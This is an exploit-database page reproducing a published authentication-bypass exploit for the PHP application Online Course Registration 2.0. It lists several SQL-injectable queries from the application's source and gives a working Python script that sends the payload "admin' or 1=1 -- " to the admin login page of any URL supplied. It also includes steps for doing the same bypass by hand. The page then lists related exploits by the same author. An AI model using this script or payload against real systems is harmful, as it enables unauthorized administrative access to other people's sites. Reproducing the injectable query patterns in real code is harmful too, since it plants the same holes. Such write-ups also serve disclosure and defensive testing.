Search for hundreds of thousands of exploits

"Online Course Registration 2.0 - Authentication Bypass"

Author

Exploit author

"Daniel Monzón"

Platform

Exploit platform

php

Release date

Exploit published date

2020-04-27

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
# Exploit Title: Online Course Registration 2.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-04-25
# Exploit Author: Daniel Monzón (stark0de)
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/online-course-registration-free-download/
# Version: 2.0
# Tested on: Kali Linux x64 5.4.0
# CVE : N/A

#There are multiple SQL injection vulnerabilities in Online Course Registration #PHP script:

#./check_availability.php:               $result =mysqli_query($con,"SELECT studentRegno FROM    courseenrolls WHERE course='$cid' and studentRegno=' $regid'");
#./check_availability.php:               $result =mysqli_query($con,"SELECT * FROM courseenrolls WHERE course='$cid'");
#./check_availability.php:               $result1 =mysqli_query($con,"SELECT noofSeats FROM course WHERE id='$cid'");
#./change-password.php:$sql=mysqli_query($con,"SELECT password FROM  students where password='".md5($_POST['cpass'])."' && studentRegno='".$_SESSION['login']."'");
#./admin/check_availability.php:         $result =mysqli_query($con,"SELECT StudentRegno FROM students WHERE StudentRegno='$regno'");
#./admin/change-password.php:$sql=mysqli_query($con,"SELECT password FROM  admin where password='".md5($_POST['cpass'])."' && username='".$_SESSION['alogin']."'");
#./admin/index.php:$query=mysqli_query($con,"SELECT * FROM admin WHERE username='$username' and password='$password'");
#./index.php:$query=mysqli_query($con,"SELECT * FROM students WHERE StudentRegno='$regno' and password='$password'");
#./includes/header.php:        $ret=mysqli_query($con,"SELECT  * from userlog where studentRegno='".$_SESSION['login']."' order by id desc limit 1,1");
#./pincode-verification.php:$sql=mysqli_query($con,"SELECT * FROM  students where pincode='".trim($_POST['pincode'])."' && StudentRegno='".$_SESSION['login']."'");

#It is also possible to bypass the authentication in the two login pages:
#!/usr/bin/python3
try:
   from termcolor import colored 
   from colorama import init
   import argparse
   import requests
except:
	print("Please run pip3 install termcolor,colorama,argparse,requests")

init()

symbol_green=colored("[+]", 'green') 
symbol_red=colored("[-]", 'red') 

parser = argparse.ArgumentParser()
parser.add_argument('url', help='The URL of the target.')
args = parser.parse_args()

adminurl = args.url + '/onlinecourse/admin/'



def main():
    initial='Online Course Registration Authentication Bypass in %s' % ( args.url ) + "\n"
    print(colored(initial, 'yellow'))
    sess = requests.session()
    data_login = {
    'username': "admin' or 1=1 -- ",
    'password': 'whatever',
    'submit': ''
}
    try:
        req = sess.post(adminurl, data=data_login, verify=False, allow_redirects=True)
        resp_code = req.status_code
    except:
    	print(symbol_red+" The request didn't work!\n")
    	exit()
    if resp_code == 200 and "document.chngpwd.cpass.value" in req.text:
       print(symbol_green+" Authentication bypassed for admin user!\n")
       print(symbol_green+" To test this manually, visit: " + adminurl+ " and enter: admin' or 1=1 -- in the username field and whatever in password field, then click the Log Me In button\n")

    else:
       print(symbol_red+" Fail!")

main()
Release DateTitleTypePlatformAuthor
2020-09-16"Piwigo 2.10.1 - Cross Site Scripting"webappsphpIridium
2020-09-15"Tailor MS 1.0 - Reflected Cross-Site Scripting"webappsphpboku
2020-09-15"ThinkAdmin 6 - Arbitrarily File Read"webappsphpHzllaga
2020-09-14"Joomla! paGO Commerce 2.5.9.0 - SQL Injection (Authenticated)"webappsphp"Mehmet Kelepçe"
2020-09-10"CuteNews 2.1.2 - Remote Code Execution"webappsphp"Musyoka Ian"
2020-09-09"Tailor Management System - 'id' SQL Injection"webappsphpMosaaed
2020-09-07"grocy 2.7.1 - Persistent Cross-Site Scripting"webappsphp"Mufaddal Masalawala"
2020-09-03"BloodX CMS 1.0 - Authentication Bypass"webappsphpBKpatron
2020-09-03"Daily Tracker System 1.0 - Authentication Bypass"webappsphp"Adeeb Shah"
2020-09-03"SiteMagic CMS 4.4.2 - Arbitrary File Upload (Authenticated)"webappsphpV1n1v131r4
Release DateTitleTypePlatformAuthor
2020-07-02"ZenTao Pro 8.8.2 - Command Injection"webappsphp"Daniel Monzón"
2020-05-21"OpenEDX platform Ironwood 2.5 - Remote Code Execution"webappsmultiple"Daniel Monzón"
2020-05-18"Online Healthcare Patient Record Management System 1.0 - Authentication Bypass"webappsphp"Daniel Monzón"
2020-04-27"Online Course Registration 2.0 - Authentication Bypass"webappsphp"Daniel Monzón"
2020-04-13"Wordpress Plugin Media Library Assistant 2.81 - Local File Inclusion"webappsphp"Daniel Monzón"
2020-03-12"Wordpress Plugin Appointment Booking Calendar 1.3.34 - CSV Injection"webappsphp"Daniel Monzón"
2020-03-11"Wordpress Plugin Search Meter 2.13.2 - CSV injection"webappsphp"Daniel Monzón"
2020-01-31"Lotus Core CMS 1.0.1 - Local File Inclusion"webappsphp"Daniel Monzón"
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/48385/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.